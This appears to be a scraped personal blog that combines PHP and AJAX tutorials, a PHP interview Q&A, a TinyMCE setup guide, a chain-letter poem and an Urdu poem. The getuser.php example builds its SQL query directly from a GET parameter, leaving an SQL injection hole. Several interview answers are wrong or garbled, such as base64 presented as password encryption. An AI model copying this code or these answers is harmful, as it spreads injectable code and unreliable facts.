links:- http://prism-perfect.net/archive/php-tag-cloud-tutorial/ http://www.stevenyork.com/tutorial/creating_accessible_tag_cloud_in_php_css_mysql

http://www.bitrepository.com/web-programming/php/how-to-create-a-tag-cloud.html

Tiny MCE Editor For Symfony Framework

TinyMCE is a powerful WYSIWYG editor control for web browsers such as MSIE or Mozilla that enables the user to edit HTML contents in a more user friendly way. The editor control is very flexible and it’s built for integration purposes (usage within systems like Intranets, CMS, and LMS, for example).

TinyMCE is developed by Moxiecode Systems AB and is currently released under the “LGPL” license.

TinyMCE has no direct requirements except for browser compatibility and, of course, JavaScript needs to be turned on.

There is NO back-end code distributed with TinyMCE.

How to use tinyMCE
Step 1 :
Download tinyMCE from this link :http://tinymce.moxiecode.com/

Step 2 : Extract tinyMCE zip file .

Step 3 : Copy tinymce/jscripts/tiny_mce folder
into
symfonyProjectName(any name)/web/js/

Step 4 : sfproject(say symfony project name)/apps/myapp(say application name)/config/settings.yml

copy this code to settings.yml file

all:
.settings:
rich_text_js_dir: js/tiny_mce

Step 5 : Goto your page where you want to put tinyMCE editor and copy following code there :

tinyMCE.init({
// General options
mode : “textareas”,
theme : “advanced”,
plugins : “safari,spellchecker,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,imagemanager,filemanager”,

// Theme options
theme_advanced_buttons1 : “formatselect,fontselect,fontsizeselect”,
theme_advanced_buttons2 : “cut,copy,paste,|,insertdate,inserttime,|,forecolor,backcolor,|,styleprops,spellchecker,”,
theme_advanced_buttons3 : “tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen”,
theme_advanced_buttons4 : “insertlayer,moveforward,movebackward,absolute,|,styleprops,spellchecker,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,blockquote,pagebreak,|,insertfile,insertimage”,

theme_advanced_toolbar_location : “top”,
theme_advanced_toolbar_align : “left”,
theme_advanced_statusbar_location : “bottom”,
theme_advanced_resizing : false,

// Example content CSS (should be your site CSS)
//content_css : “$texteditorpath”,

// Drop lists for link/image/media/template dialogs
//template_external_list_url : “js/template_list.js”,
//external_link_list_url : “js/link_list.js”,
//external_image_list_url : “js/image_list.js”,
//media_external_list_url : “js/media_list.js”,

// Replace values for the template plugin
template_replace_values : {
username : “symfony”,
staffid : “symfony”
}
});

Step 5 : run symfony project :-)

External links:
For FAQ :
http://wiki.moxiecode.com/index.php/TinyMCE:FAQ

http://wiki.moxiecode.com/index.php/TinyMCE:About

PHP Interview Question

1. What are the differences between GET and POST methods in form submitting, give the case where we can use get and we can use post methods?


On the server side, the main difference between GET and POST is where the submitted is stored. The $_GET array stores data submitted by the GET method. The $_POST array stores data submitted by the POST method.


On the browser side, the difference is that data submitted by the GET method will be displayed in the browser’s address field. Data submitted by the POST method will not be displayed anywhere on the browser.


GET method is mostly used for submitting a small amount and less sensitive data. POST method is mostly used for submitting a large amount or sensitive data.


2. Who is the father of php and explain the changes in php versions?


Rasmus Lerdorf for version changes go to http://php.net/ Marco Tabini is the founder and publisher of php|architect.


3. How can we submit from without a submit button?


We can use a simple JavaScript code linked to an event trigger of any form field. In the JavaScript code, we can call the document.form.submit() function to submit the form. For example:


4. How many ways we can retrieve the date in result set of mysql Using php?


As individual objects so single record or as a set or arrays.


5. What is the difference between mysql_fetch_object and mysql_fetch_array?


MySQL fetch object will collect first single matching record where mysql_fetch_array will collect all matching records from the table in an array.


6. What is the difference between $message and $$message?


They are both variables. But $message is a variable with a fixed name. $$message is a variable who’s name is stored in $message. For example, if $message contains “var”, $$message is the same as $var.


7. How can we extract string ‘abc.com ‘ from a string ‘http://info@a…’ using regular _expression of php?


We can use the preg_match() function with “/.*@(.*)$/” as the regular expression pattern. For example: preg_match(”/.*@(.*)$/”,”http://info@abc.com”,$data); echo $data[1];


8. How can we create a database using php and mysql?


PHP: mysql_create_db()

Mysql: create database;


9. What are the differences between require and include, include_once?


File will not be included more than once. If we want to include a file once only and further calling of the file will be ignored then we have to use the PHP function include_once(). This will prevent problems with function redefinitions, variable value reassignments, etc.


10. Can we use include (”abc.php”) two times in a php page “makeit.php”?


Yes we can include..


11. What are the different tables present in mysql, which type of table is generated when we are creating a table in the following

syntax: create table employee(eno int(2),ename varchar(10)) ?


Total 5 types of tables we can create


1. MyISAM


2. Heap


3. Merge


4. InnoDB


5. ISAM


6. BDB

MyISAM is the default storage engine as of MySQL 3.23.


12. Functions in IMAP, POP3 AND LDAP?


Please visit:

http://fi2.php.net/imap

http://uk2.php.net/ldap


13. How can I execute a php script using command line?


Just run the PHP CLI (Command Line Interface) program and provide the PHP script file name as the command line argument. For example, “php myScript.php”, assuming “php” is the command to invoke the CLI program.

Be aware that if your PHP script was written for the Web CGI interface, it may not execute properly in command line environment.


14. Suppose your ZEND engine supports the mode Then how can u configure your php ZEND engine to support mode ?


If you change the line: short_open_tag = off in php.ini file. Then your php ZEND engine support only mode.


15. Shopping cart online validation i.e. how can we configure the paypals?


16. What is meant by nl2br()?


nl2br — Inserts HTML line breaks before all newlines in a string string nl2br (string); Returns string with ‘’ inserted before all newlines. For example: echo nl2br(”god bless\n you”) will output “god bless \n you” to your browser.


17. Draw the architecture of ZEND engine?


18. What are the current versions of apache, php, and mysql?


PHP: php5.1.2

MySQL: MySQL 5.1

Apache: Apache 2.1


19. What are the reasons for selecting lamp (Linux, apache, mysql, php) instead of combination of other software programs, servers and operating systems?


All of those are open source resource. Security of linux is very very more than windows. Apache is a better server that IIS both in functionality and security. Mysql is world most popular open source database. Php is more faster that asp or any other scripting language.


20. How can we encrypt and decrypt a data present in a mysql table using mysql?


AES_ENCRYPT () and AES_DECRYPT ()


21. How can we encrypt the username and password using php?


You can encrypt a password with the following Mysql>SET PASSWORD=PASSWORD(”Password”);

We can encode data using base64_encode($string) and can decode using base64_decode($string);


22. What are the features and advantages of OBJECT ORIENTED PROGRAMMING?


One of the main advantages of OO programming is its ease of modification; objects can easily be modified and added to a system there by reducing maintenance costs. OO programming is also considered to be better at modeling the real world than is procedural programming. It allows for more complicated and flexible interactions. OO systems are also easier for non-technical personnel to understand and easier for them to participate in the maintenance and enhancement of a system because it appeals to natural human cognition patterns.

For some systems, an OO approach can speed development time since many objects are standard across systems and can be reused. Components that manage dates, shipping, shopping carts, etc. can be purchased and easily modified for a specific system.


23. What are the differences between PROCEDURE ORIENTED LANGUAGES and OBJECT ORIENTED LANGUAGES?


Traditional programming has the following characteristics:


Functions are written sequentially, so that a change in programming can affect any code that follows it.

If a function is used multiple times in a system (i.e., a piece of code that manages the date), it is often simply cut and pasted into each program (i.e., a change log, order function, fulfillment system, etc). If a date change is needed (i.e., Y2K when the code needed to be changed to handle four numerical digits instead of two), all these pieces of code must be found, modified, and tested.

Code (sequences of computer instructions) and data (information on which the instructions operates on) are kept separate. Multiple sets of code can access and modify one set of data. One set of code may rely on data in multiple places. Multiple sets of code and data are required to work together. Changes made to any of the code sets and data sets can cause problems through out the system.


Object-Oriented programming takes a radically different approach:


Code and data are merged into one indivisible item – an object (the term “component” has also been used to describe an object.) An object is an abstraction of a set of real-world things (for example, an object may be created around “date”) The object would contain all information and functionality for that thing (A date

object it may contain labels like January, February, Tuesday, Wednesday. It may contain functionality that manages leap years, determines if it is a business day or a holiday, etc., See Fig. 1). Ideally, information about a particular thing should reside in only one place in a system. The information within an object is encapsulated (or hidden) from the rest of the system.

A system is composed of multiple objects (i.e., date function, reports, order processing, etc., See Fig 2). When one object needs information from another object, a request is sent asking for specific information. (for example, a report object may need to know what today’s date is and will send a request to the date object) These requests are called messages and each object has an interface that manages messages.

OO programming languages include features such as “class”, “instance”, “inheritance”, and “polymorphism” that increase the power and flexibility of an object.


24. What is the use of friend function?


Friend functions

Sometimes a function is best shared among a number of different classes. Such functions can be declared either as member functions of one class or as global functions. In either case they can be set to be friends of other classes, by using a friend specifier in the class that is admitting them. Such functions can use all attributes of the class whichnames them as a friend, as if they were themselves members of that class.

A friend declaration is essentially a prototype for a member function, but instead of requiring an implementation with the name of that class attached by the double colon syntax, a global function or member function of another class provides the match.


class mylinkage

{

private:

mylinkage * prev;

mylinkage * next;


protected:

friend void set_prev(mylinkage* L, mylinkage* N);

void set_next(mylinkage* L);


public:

mylinkage * succ();

mylinkage * pred();

mylinkage();

};


void mylinkage::set_next(mylinkage* L) { next = L; }


void set_prev(mylinkage * L, mylinkage * N ) { N->prev = L; }


Friends in other classes


It is possible to specify a member function of another class as a friend as follows:


class C

{

friend int B::f1();

};

class B

{

int f1();

};


It is also possible to specify all the functions in another class as friends, by specifying the entire class as a friend.


class A

{

friend class B;

};


Friend functions allow binary operators to be defined which combine private data in a pair of objects. This is particularly powerful when using the operator overloading features of C++. We will return to it when we look at overloading.


25. What are the differences between public, private, protected, static, transient, final and volatile?

element Class Interface

Data field Method Constructor

modifier top level nested top level nested

(outer) (inner) (outer) (inner)

final yes yes no yes yes no no

private yes yes yes no yes no yes

protected yes yes yes no yes no yes

public yes yes yes yes yes yes yes

static yes yes no no yes no yes

transient yes no no no no no no

volatile yes no no no no no no


26. What are the different types of errors in php?


Three are three types of errors:


1. Notices: These are trivial, non-critical errors that PHP encounters while executing a script – for example, accessing a variable that has not yet been defined. By default, such errors are not displayed to the user at all – although, as you will see, you can change this default behaviour.


2. Warnings: These are more serious errors – for example, attempting to include() a file which does not exist. By default, these errors are displayed to the user, but they do not result in script termination.


3. Fatal errors: These are critical errors – for example, instantiating an object of a non-existent class, or calling a non-existent function. These errors cause the immediate termination of the script, and PHP’s default behaviour is to display them to the user when they take place.


27. What is the functionality of the function strstr and stristr?


strstr() returns part of a given string from the first occurrence of a given substring to the end of the string. For example: strstr(”user@example.com”,”@”) will return “@example.com”.

stristr() is idential to strstr() except that it is case insensitive.


28. What are the differences between PHP 3 and PHP 4 and PHP 5?


Go read the release notes at http://php.net.


29. How can we convert asp pages to php pages?


You can download asp2php front-end application from the site http://asp2php.naken.cc.


30. What is the functionality of the function htmlentities?


Answer: htmlentities — Convert all applicable characters to HTML entities

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.


31. How can we get second of the current time using date function?


$second = date(”s”);


32. How can we convert the time zones using php?


33. What is meant by urlencode and urldocode?


urlencode() returns the URL encoded version of the given string. URL coding converts special characters into % signs followed by two hex digits. For example: urlencode(”10.00%”) will return “10%2E00%25?. URL encoded strings are safe to be used as part of URLs.

urldecode() returns the URL decoded version of the given string.


34. What is the difference between the functions unlink and unset?


unlink() deletes the given file from the file system.

unset() makes a variable undefined.


35. How can we register the variables into a session?


We can use the session_register ($ur_session_var) function.


36. How can we get the properties (size, type, width, height) of an image using php image functions?


To know the Image type use exif_imagetype () function

To know the Image size use getimagesize () function

To know the image width use imagesx () function

To know the image height use imagesy() function


37. How can we get the browser properties using php?


38. What is the maximum size of a file that can be uploaded using php and how can we change this?


You can change maximum size of a file set upload_max_filesize variable in php.ini file


39. How can we increase the execution time of a php script?


Set max_execution_time variable in php.ini file to your desired time in second.


40. How can we take a backup of a mysql table and how can we restore it.?

Answer: Create a full backup of your database: shell> mysqldump –tab=/path/to/some/dir –opt db_name Or: shell> mysqlhotcopy db_name /path/to/some/dir

The full backup file is just a set of SQL statements, so restoring it is very easy:


shell> mysql “.”Executed”;

mysql_close($link2);


41. How can we optimize or increase the speed of a mysql select query?



42. How many ways can we get the value of current session id?

ans:-

session_id() returns the session id for the current session.


43. How can we destroy the session, how can we unset the variable of a session?

Ans:-

session_unregister — Unregister a global variable from the current session

session_unset — Free all session variables


44. How can we destroy the cookie?

Ans:-

Set the cookie in past


45. How many ways we can pass the variable through the navigation between the pages?

Ans:-

GET or QueryString and POST


46. What is the difference between ereg_replace() and eregi_replace()?

Ans:-

eregi_replace() function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters.eregi_replace() function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters.


47. What are the different functions in sorting an array?

Ans:-

Sorting functions in PHP,

asort-http://www.php.net/manual/en/function.asort.php

arsort-http://www.php.net/manual/en/function.arsort.php

ksort-http://www.php.net/manual/en/function.ksort.php

krsort-http://www.php.net/manual/en/function.krsort.php

uksort-http://www.php.net/manual/en/function.uksort.php

sort-http://www.php.net/manual/en/function.sort.php

natsort-http://www.php.net/manual/en/function.natsort.php

rsort-http://www.php.net/manual/en/function.rsort.php


48. How can we know the count/number of elements of an array?

Ans:-

2 ways

a) sizeof($urarray) This function is an alias of count()

b) count($urarray)

interestingly if u just pass a simple var instead of a an array it will return 1.

49. What is the PHP predefined variable that tells the What types of images that PHP supports?


50. How can I know that a variable is a number or not using a JavaScript?


51. List out some tools through which we can draw E-R diagrams for mysql.


52. How can I retrieve values from one database server and store them in other database server using PHP?




53. List out the predefined classes in php?


Directory

stdClass

__PHP_Incomplete_Class

exception

php_user_filter


54. How can I make a script that can be bilanguage (supports Eglish, German)?


You can change charset variable in above line in the script to support bilanguage.


55. What are the difference between abstract class and interface?


Abstract class: abstract classes are the class where one or more methods are abstract but not necessarily all method has to be abstract. Abstract methods are the methods, which are declare in its class but not define. The definition of those methods must be in its extending class.


Interface: Interfaces are one type of class where all the methods are abstract. That means all the methods only declared but not defined. All the methods must be define by its implemented class.


56. How can we send mail-using JavaScript?


NO! JavaScript can’t email a form! but, there are alternatives to send the form data to an email address.


57. How can we repair a mysql table?


The syntex for repairing a mysql table is

REPAIR TABLENAME, [TABLENAME, ], [Quick],[Extended]

This command will repair the table specified if the quick is given the mysql will do a repair of only the index tree if the extended is given it will create index row by row


58. What are the advantages of stored procedures, triggers, indexes?


A stored procedure is a set of SQL commands that can be compiled and stored in the server. Once this has been done, clients don’t need to keep re-issuing the entire query but can refer to the stored procedure. This provides better overall performance because the query has to be parsed only once, and less information needs to be sent between the server and the client. You can also raise the conceptual level by having libraries of functions in the server. However, stored procedures of course do increase the load on the database server system, as more of the work is done on the server side and less on the client (application) side.

Triggers will also be implemented. A trigger is effectively a type of stored procedure, one that is invoked when a particular event occurs. For example, you can install a stored procedure that is triggered each time a record is deleted from a transaction table and that stored procedure automatically deletes the corresponding customer from a customer table when all his transactions are deleted.

Indexes are used to find rows with specific column values quickly. Without an index, MySQL must begin with the first row and then read through the entire table to find the relevant rows. The larger the table, the more this costs. If the table has an index for the columns in question, MySQL can quickly determine the position to seek to in the middle of the data file without having to look at all the data. If a table has 1,000 rows, this is at least 100 times faster than reading sequentially. If you need to access most of the rows, it is faster to read sequentially, because this minimizes disk seeks.


59. What is the maximum length of a table name, database name, and fieldname in mysql?


Database name- 64

Table name -64

Fieldname-64


60. How many values can the SET function of mysql takes?


Mysql set can take zero or more values but at the maximum it can take 64 values


61. What are the other commands to know the structure of table using mysql commands except explain command?


describe table_name;




Please visit this link :

http://placementhelper.blogspot.com/2007/12/php-interview-questions-1.html

for lots of PHP questions and answers

someone

someone is thinking of you
someone cares about you
someone misses you
someone wants to talk to you
someone wants to be with you
someone hopes you aren’t in trouble
someone is thankful for the support you have provided
someone wants to hold your hand
someone hopes everything turns out all right
someone wants you to be happy
someone wants you to find them
someone is celebrating your successes
someone wants to give you a gift
someone think you ARE a gift
someone hopes you are not too cold, or too hot
someone wants to hug you
someone loves you
someone wants to lavish you with small gifts
someone admires your strength
someone is thinking of you and smiling
someone wants to be your shoulder to cry on
someone wants to go out with you and have a lot of fun
someone thinks the world of you
someone wants to protect you
someone would do anything for you
someone wants to be forgiven
someone is grateful for your forgiveness
someone wants to laugh with you about old times
someone remembers you and wishes you were there
someone is praising God for you
someone needs to know that your love is unconditional
somebody values your advice
someone wants to tell you how much they care
someone wants to stay up watching old movies with you
someone wants to share their dreams with you
someone wants to hold you in their arms
someone wants YOU to hold them in your arms
someone treasures your spirit
someone wishes they could STOP time because of you
someone praises God for your friendship and love
someone can’t wait to see you
someone wishes that things didn’t have to change
someone loves you for who you are
someone loves the way you make them feel
someone wants to be with you
someone is hoping they can grow old with you
someone hears a song that reminds them of you
someone wants you to know they are there for you
someone is glad that you’re their friend
someone wants to be your friend
someone stayed up all night thinking about you
someone is alive because of you
someone is remorseful after losing your friendship
someone is wishing that you would notice them
someone wants to get to know you better
someone believes that you are their soul mate
someone wants to be near you
someone misses your guidance and advice
someone values your guidance and advice
someone has faith in you
someone trusts you
someone needs you to send them this letter
someone needs your support
someone needs you to have faith in them
someone needs you to let them be your friend, If Accepted

wordless love

shindig update

PHP Shindig config changes

Author: chris chabotc
Date: Wed Jun 25 16:50:44 2008
New Revision: 671694

Added:
incubator/shindig/trunk/php/config/
incubator/shindig/trunk/php/config/container.php
Modified:
incubator/shindig/trunk/php/config.php

incubator/shindig/trunk/php/src/common/samplecontainer/ BasicSecurityTokenDecoder.php

Phase 1 of the config rewrite. Configuration values moved to config/ container.php and you can put your local site values in config/ local.php. This way you can upgrade/svn update without loosing your local config

Some good link for opensocial

http://fisheye.exoplatform.org/browse/projects/portal/trunk/gadgets/features/opensocial-reference/activity.js?r=14955

http://javathehutt.blogspot.com/2008/02/opensocial-observations-part-1-data.html

ZAQT

kya qazaa ,kya hayaat..wo har fark mita gaya

har pal ki khudkhushi ko ab zindagi bana ke rakha hai

lamha- lamha jiska dhuan tabah kare ye dil ko

aas ka 1 aisa diya dil mein jala ke rakha hai

dil na ab bhi samajh paye  fareb ko

khuda ko pathar aur pathar ko khuda bana rakha hai

koi jazba dil mein ab dam nahi todta..

ashko ko syahi  aur dard ko ibaarat bana rakha hai

par hai khabar ki hoga koi apni tarah pyaasa kahin

uske liye phir bhi thoda jaam ab tak  bacha k rakha hai

tried a hand on urdu words .. dnt no hw it fit .. phir b kuch likhna tha..man kar raha tha bahut dino se..blog khali khali lag rahatha :p

zabt – tolerance

qazaa-death

hayaat-life

ibaarat-compositions

XML database example

AJAX can be used for interactive communication with a database.


AJAX Database Example

In the AJAX example below we will demonstrate how a web page can fetch information from a MySQL database using AJAX technology.


Select a Name in the Box Below

Select a User: Peter Griffin Lois Griffin Joseph Swanson Glenn Quagmire

User info will be listed here.

This example consists of four elements:

  • a MySQL database
  • a simple HTML form
  • a JavaScript
  • a PHP page

The Database

The database we will be using in this example looks like this:

id FirstName LastName Age Hometown Job
1 Peter Griffin 41 Quahog Brewery
2 Lois Griffin 40 Newport Piano Teacher
3 Joseph Swanson 39 Quahog Police Officer
4 Glenn Quagmire 41 Quahog Pilot

The HTML Form

The example above contains a simple HTML form and a link to a JavaScript:

<html>
<head>
<script src="selectuser.js"></script>
</head>
<body>
<form>
Select a User:
<select name="users" onchange="showUser(this.value)">
<option value="1">Peter Griffin</option>
<option value="2">Lois Griffin</option>
<option value="3">Glenn Quagmire</option>
<option value="4">Joseph Swanson</option>
</select>
</form>
<p>
<div id="txtHint"><b>User info will be listed here.</b></div>
</p>
</body>
</html>

Example Explained – The HTML Form

As you can see it is just a simple HTML form with a drop down box called “users” with names and the “id” from the database as option values.

The paragraph below the form contains a div called “txtHint”. The div is used as a placeholder for info retrieved from the web server.

When the user selects data, a function called “showUser()” is executed. The execution of the function is triggered by the “onchange” event.

In other words: Each time the user changes the value in the drop down box, the function showUser() is called.


The JavaScript

This is the JavaScript code stored in the file “selectuser.js”:

var xmlHttp
function showUser(str)
{
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
 {
 alert ("Browser does not support HTTP Request")
 return
 }
var url="getuser.php"
url=url+"?q="+str
url=url+"&sid="+Math.random()
xmlHttp.onreadystatechange=stateChanged
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
}
function stateChanged()
{
if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
 {
 document.getElementById("txtHint").innerHTML=xmlHttp.responseText
 }
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp=new XMLHttpRequest();
 }
catch (e)
 {
 //Internet Explorer
 try
  {
  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp;
}

Example Explained

The stateChanged() and GetXmlHttpObject functions are the same as in the PHP AJAX Suggest chapter, you can go to there for an explanation of those.

The showUser() Function

If an item in the drop down box is selected the function executes the following:

  1. Calls on the GetXmlHttpObject function to create an XMLHTTP object
  2. Defines the url (filename) to send to the server
  3. Adds a parameter (q) to the url with the content of the dropdown box
  4. Adds a random number to prevent the server from using a cached file
  5. Call stateChanged when a change is triggered
  6. Opens the XMLHTTP object with the given url.
  7. Sends an HTTP request to the server

The PHP Page

The server page called by the JavaScript, is a simple PHP file called “getuser.php”.

The page is written in PHP and uses a MySQL databse.

The code runs a SQL query against a database and returns the result as an HTML table:

<?php
$q=$_GET["q"];

$con = mysql_connect(’localhost’, ‘peter’, ‘abc123′);
if (!$con)
 {
 die(’Could not connect: ‘ . mysql_error());
 }

mysql_select_db(”ajax_demo”, $con);

$sql=”SELECT * FROM user WHERE id = ‘”.$q.”‘”;

$result = mysql_query($sql);

echo “<table border=’1′>
<tr>
<th>Firstname</th>
<th>Lastname</th>
<th>Age</th>
<th>Hometown</th>
<th>Job</th>
</tr>”;

while($row = mysql_fetch_array($result))
 {
 echo “<tr>”;
 echo “<td>” . $row['FirstName'] . “</td>”;
 echo “<td>” . $row['LastName'] . “</td>”;
 echo “<td>” . $row['Age'] . “</td>”;
 echo “<td>” . $row['Hometown'] . “</td>”;
 echo “<td>” . $row['Job'] . “</td>”;
 echo “</tr>”;
 }
echo “</table>”;

mysql_close($con);
?>

Example Explained

When the query is sent from the JavaScript to the PHP page the following happens:

  1. PHP opens a connection to a MySQL server
  2. The “user” with the specified name is found
  3. A table is created and the data is inserted and sent to the “txtHint” placeholder

Ajax anh PHP XML example

AJAX can be used for interactive communication with an XML file.


AJAX XML Example

In the AJAX example below we will demonstrate how a web page can fetch information from an XML file using AJAX technology.


Select a CD in the Box Below

Select a CD: Bob Dylan Bee Gees Cat Stevens

CD info will be listed here.

This example consists of four pages:

  • a simple HTML form
  • an XML file
  • a JavaScript
  • a PHP page

The HTML Form

The example above contains a simple HTML form and a link to a JavaScript:

<html>
<head>
<script src="selectcd.js"></script>
</head>
<body>
<form>
Select a CD:
<select name="cds" onchange="showCD(this.value)">
<option value="Bob Dylan">Bob Dylan</option>
<option value="Bee Gees">Bee Gees</option>
<option value="Cat Stevens">Cat Stevens</option>
</select>
</form>
<p>
<div id="txtHint"><b>CD info will be listed here.</b></div>
</p>
</body>
</html>

Example Explained

As you can see it is just a simple HTML form with a simple drop down box called “cds”.

The paragraph below the form contains a div called “txtHint”. The div is used as a placeholder for info retrieved from the web server.

When the user selects data, a function called “showCD” is executed. The execution of the function is triggered by the “onchange” event.

In other words: Each time the user changes the value in the drop down box, the function showCD is called.


The XML File

The XML file is “cd_catalog.xml“. This document contains a CD collection.


The JavaScript

This is the JavaScript code stored in the file “selectcd.js”:

var xmlHttp

function showCD(str)
{
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
 {
 alert ("Browser does not support HTTP Request")
 return
 }
var url="getcd.php"
url=url+"?q="+str
url=url+"&sid="+Math.random()
xmlHttp.onreadystatechange=stateChanged
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
}

function stateChanged()
{
 if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
 {
 document.getElementById("txtHint").innerHTML=xmlHttp.responseText
 }
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp=new XMLHttpRequest();
 }
catch (e)
 {
 // Internet Explorer
 try
  {
  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp;
}

Example Explained

The stateChanged() and GetXmlHttpObject functions are the same as in the last chapter, you can go to the previous page for an explanation of those

The showCD() Function

If an item in the drop down box is selected the function executes the following:

  1. Calls on the GetXmlHttpObject function to create an XMLHTTP object
  2. Defines the url (filename) to send to the server
  3. Adds a parameter (q) to the url with the content of the input field
  4. Adds a random number to prevent the server from using a cached file
  5. Call stateChanged when a change is triggered
  6. Opens the XMLHTTP object with the given url.
  7. Sends an HTTP request to the server

The PHP Page

The server paged called by the JavaScript, is a simple PHP file called “getcd.php”.

The page is written in PHP using the XML DOM to load the XML document “cd_catalog.xml“.

The code runs a query against the XML file and returns the result as HTML:

<?php
$q=$_GET["q"];
$xmlDoc = new DOMDocument();
$xmlDoc->load("cd_catalog.xml");
$x=$xmlDoc->getElementsByTagName('ARTIST');
for ($i=0; $i<=$x->length-1; $i++)
{
//Process only element nodes
if ($x->item($i)->nodeType==1)
  {
  if ($x->item($i)->childNodes->item(0)->nodeValue == $q)
    {
    $y=($x->item($i)->parentNode);
    }
  }
}
$cd=($y->childNodes);
for ($i=0;$i<$cd->length;$i++)
{
//Process only element nodes
if ($cd->item($i)->nodeType==1)
  {
  echo($cd->item($i)->nodeName);
  echo(": ");
  echo($cd->item($i)->childNodes->item(0)->nodeValue);
  echo("<br />");
  }
}
?>

Example Explained

When the query is sent from the JavaScript to the PHP page the following happens:

  1. PHP creates an XML DOM object of the “cd_catalog.xml” file
  2. All “artist” elements (nodetypes = 1) are looped through to find a name matching the one sent from the JavaScript.
  3. The CD containing the correct artist is found
  4. The album information is output and sent to the “txtHint” placeholder

Ajax and PHP

AJAX Suggest

In the AJAX example below we will demonstrate how a web page can communicate with a web server online as a user enters data into a web form.


Type a Name in the Box Below

First Name: Suggestions:

This example consists of three pages:

  • a simple HTML form
  • a JavaScript
  • a PHP page

The HTML Form

This is the HTML page. It contains a simple HTML form and a link to a JavaScript:

<html>
<head>
<script src="clienthint.js"></script>
</head>
<body>
<form>
First Name:
<input type="text" id="txt1"
onkeyup="showHint(this.value)">
</form>
<p>Suggestions: <span id="txtHint"></span></p>
</body>
</html>

Example Explained – The HTML Form

As you can see, the HTML page above contains a simple HTML form with an input field called “txt1″.

The form works like this:

  1. An event is triggered when the user presses, and releases a key in the input field
  2. When the event is triggered, a function called showHint() is executed.
  3. Below the form is a <span> called “txtHint”. This is used as a placeholder for the return data of the showHint() function.

The JavaScript

The JavaScript code is stored in “clienthint.js” and linked to the HTML document:

var xmlHttp

function showHint(str)
{
if (str.length==0)
  {
  document.getElementById("txtHint").innerHTML=""
  return
  }
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
  {
  alert ("Browser does not support HTTP Request")
  return
  }
var url="gethint.php"
url=url+"?q="+str
url=url+"&sid="+Math.random()
xmlHttp.onreadystatechange=stateChanged
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
} 

function stateChanged()
{
if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
 {
 document.getElementById("txtHint").innerHTML=xmlHttp.responseText
 }
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp=new XMLHttpRequest();
 }
catch (e)
 {
 // Internet Explorer
 try
  {
  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp;
}

Example Explained

The showHint() Function

This function executes every time a character is entered in the input field.

If there is some input in the text field (str.length > 0) the function executes the following:

  1. Defines the url (filename) to send to the server
  2. Adds a parameter (q) to the url with the content of the input field
  3. Adds a random number to prevent the server from using a cached file
  4. Calls on the GetXmlHttpObject function to create an XMLHTTP object, and tells the object to execute a function called stateChanged when a change is triggered
  5. Opens the XMLHTTP object with the given url.
  6. Sends an HTTP request to the server

If the input field is empty, the function simply clears the content of the txtHint placeholder.

The stateChanged() Function

This function executes every time the state of the XMLHTTP object changes.

When the state changes to 4 (or to “complete”), the content of the txtHint placeholder is filled with the response text.

The GetXmlHttpObject() Function

AJAX applications can only run in web browsers with complete XML support.

The code above called a function called GetXmlHttpObject().

The purpose of the function is to solve the problem of creating different XMLHTTP objects for different browsers.

This is explained in the previous chapter.


The PHP Page

The server page called by the JavaScript code is a simple PHP file called “gethint.php”.

The code in the “gethint.php” checks an array of names and returns the corresponding names to the client:

<?php
// Fill up array with names
$a[]=”Anna”;
$a[]=”Brittany”;
$a[]=”Cinderella”;
$a[]=”Diana”;
$a[]=”Eva”;
$a[]=”Fiona”;
$a[]=”Gunda”;
$a[]=”Hege”;
$a[]=”Inga”;
$a[]=”Johanna”;
$a[]=”Kitty”;
$a[]=”Linda”;
$a[]=”Nina”;
$a[]=”Ophelia”;
$a[]=”Petunia”;
$a[]=”Amanda”;
$a[]=”Raquel”;
$a[]=”Cindy”;
$a[]=”Doris”;
$a[]=”Eve”;
$a[]=”Evita”;
$a[]=”Sunniva”;
$a[]=”Tove”;
$a[]=”Unni”;
$a[]=”Violet”;
$a[]=”Liza”;
$a[]=”Elizabeth”;
$a[]=”Ellen”;
$a[]=”Wenche”;
$a[]=”Vicky”;
//get the q parameter from URL
$q=$_GET["q"];
//lookup all hints from array if length of q>0
if (strlen($q) > 0)
{
$hint="";
for($i=0; $i<count($a); $i++)
  {
  if (strtolower($q)==strtolower(substr($a[$i],0,strlen($q))))
    {
    if ($hint==”")
      {
      $hint=$a[$i];
      }
    else
      {
      $hint=$hint.” , “.$a[$i];
      }
    }
  }
}

//Set output to “no suggestion” if no hint were found
//or to the correct values
if ($hint == “”)
{
$response=”no suggestion”;
}
else
{
$response=$hint;
}

//output the response
echo $response;
?>

If there is any text sent from the JavaScript (strlen($q) > 0) the following happens:

  1. Find a name matching the characters sent from the JavaScript
  2. If more than one name is found, include all names in the response string
